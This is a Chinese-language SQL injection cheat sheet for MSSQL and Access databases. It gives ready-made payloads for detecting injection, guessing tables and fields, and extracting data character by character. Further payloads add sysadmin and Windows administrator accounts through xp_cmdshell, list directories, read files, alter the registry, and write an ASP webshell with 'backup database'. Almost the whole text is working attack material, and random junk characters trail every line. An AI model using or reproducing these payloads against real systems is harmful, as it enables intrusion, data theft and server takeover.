1.判断是否有注入;and 1=1 ;and 1=2 _KAQ}G3
2.初步判断是否是mssql ;and user>0 9CD_os\h
Y`a3tO=Pd
3.注入参数是字符'and [查询条件] and ''=' {F.[&/A
ye5&)d"fa(
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 1/J=uH
9~[Y-cpoi
5.判断数据库系统 I9ep`X6Y
&gx%b*;`L0
;and (select count(*) from sysobjects)>0 mssql ER.}CM6{[
k@W1-D?
;and (select count(*) from msysobjects)>0 access U&p${IcEm
nb%6X82Q
[MY|T<q
aAUvlb
6.猜数据库 ;and (select Count(*) from [数据库名])>0 =Jb>x#Y
%n9aaoD
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 RPRBmb940
Z/+#pWBI!
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 6(ol1
(U
oYH-wQ j
9.(1)猜字段的ascii值(access) JZyAXm%
$*fMR,~t&
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 |@4' <4t
7hPY_W
y
(2)猜字段的ascii值(mssql) zy
}$i?
sd|).;s}
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 1p=]hC
+QJ#2~pE
10.测试权限结构(mssql) eehb1L2(b
5$C-9
T9[Q
U-M>=3|N
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- +52{-a,>
-nV9:opD
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- {_v#~595
pFjK}JOF
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- *J`O"a
/9fR'EO{x
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- O:Tj"@h
pYf-S?Y/V
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- Qzw;i8n{
{R`[kt
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- P~X2^bw
EXqE~afm2
;and 1=(select IS_MEMBER('db_owner'));-- }0Ed]
l+^*LqEW2
|&i<bqLw:
{"KMs[M
11.添加mssql和系统的帐户 `<d }V2rdz
R (n2A$
;exec master.dbo.sp_addlogin username;-- kE1TP]|
;exec master.dbo.sp_password null,username,password;-- }k.Z~1y
>fQMXfoY
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- *\F~[
m ~$v;?i
;exec master.dbo.xp_cmdshell 'net user username password X!EP$!
a9V,es"BWQ
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- R0*|Lo$6
X#^[<5
;exec master.dbo.xp_cmdshell 'net user username password /add';-- Slc\&Eb
G]&qx`TBK
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- }Jj}%XxKs
nAlQ7'
+mT_QsLEv
63IM]J
12.(1)遍历目录 a9Zq{Ysj
[(7S .5I
;create table dirs(paths varchar(100), id int) ]Zh%DQ
'!B&:X)
;insert dirs exec master.dbo.xp_dirtree 'c:\' 5\VWC I
7s^'d,P
;and (select top 1 paths from dirs)>0 a0)QH
!R`{ TbN
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ~*];pV]A[
$6R-5oQ
5]:U9ts#
}i&/G+_
(2)遍历目录 JNnDts*w
&mS^ZyG
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- (KZ{^X?a
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 a/xn'"eli
Tpa5N'O
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 @-`*m+$U6
5wU]!bxr
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 SNk=b6`9
ysnx3(+|
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 U-k`s[dv
Dk5 1z@
'i|YlMFI g
<t!W5q
13.mssql中的存储过程 h^P#{W!e\
)Hr`MB
xp_regenumvalues 注册表根键, 子键 YKK*ER0
&s!@29DXR
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 2=!RQv~%
Y"$xX8o
xp_regread 根键,子键,键值名 b4Ekqas
6[AL|d
DK
;exec xp_regread KLk~Y0$:v
N?`' /e
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 !ULn7\@
:e+jU5;]3
xp_regwrite 根键,子键, 值名, 值类型, 值 <<O$ G7c
.O<obq~;C
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 9_h[bBx-'Q
ZXPX,~ 5o
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 C\hM =%
o.`5D%}i
xp_regdeletevalue 根键,子键,值名 sU^1wB
Rj
(+hK%}K>
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 XW92gI<O
9H1rO8k
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 +:/%3}`
?:eV%`7
;5( UzQU
DzRFMYBR
14.mssql的backup创建webshell pT6$DB#
+ Vdpy(
use model ,|/f`Pl
cPQiUU~W@
create table cmd(str image); YtLt*Ig%
ti,d&c_7
insert into cmd(str) values (''); Q\0'lQJdy
E' uZA
backup database model to disk='c:\l.asp'; ;}p
kD"{g#c
hOK8(U0
n~Lt\K:
15.mssql内置函数 ]T) 'Hb
G=bCNn<
;and (select @@version)>0 获得Windows的版本号 [()koU#w.
5SQ8}Or3
;and user_name()='dbo' 判断当前系统的连接用户是不是sa [mueZQyI?0
YuwI&)l
;and (select user_name())>0 爆当前系统的连接用户 |;{6&S
7_[L o4_
;and (select db_name())>0 得到当前连接的数据库 cso8xq|b7
tfWS)y7
%\:Wi#w>
.x&%HA
16.简洁的webshell MLp9y#
8H`[*|{'
use model ]hV*r@d
<%mRSv
create table cmd(str image); 9;If&uM
uhq8
insert into cmd(str) values (''); ,<X9 Y2B
|6y
backup database model to disk='g:\wwwtest\l.asp';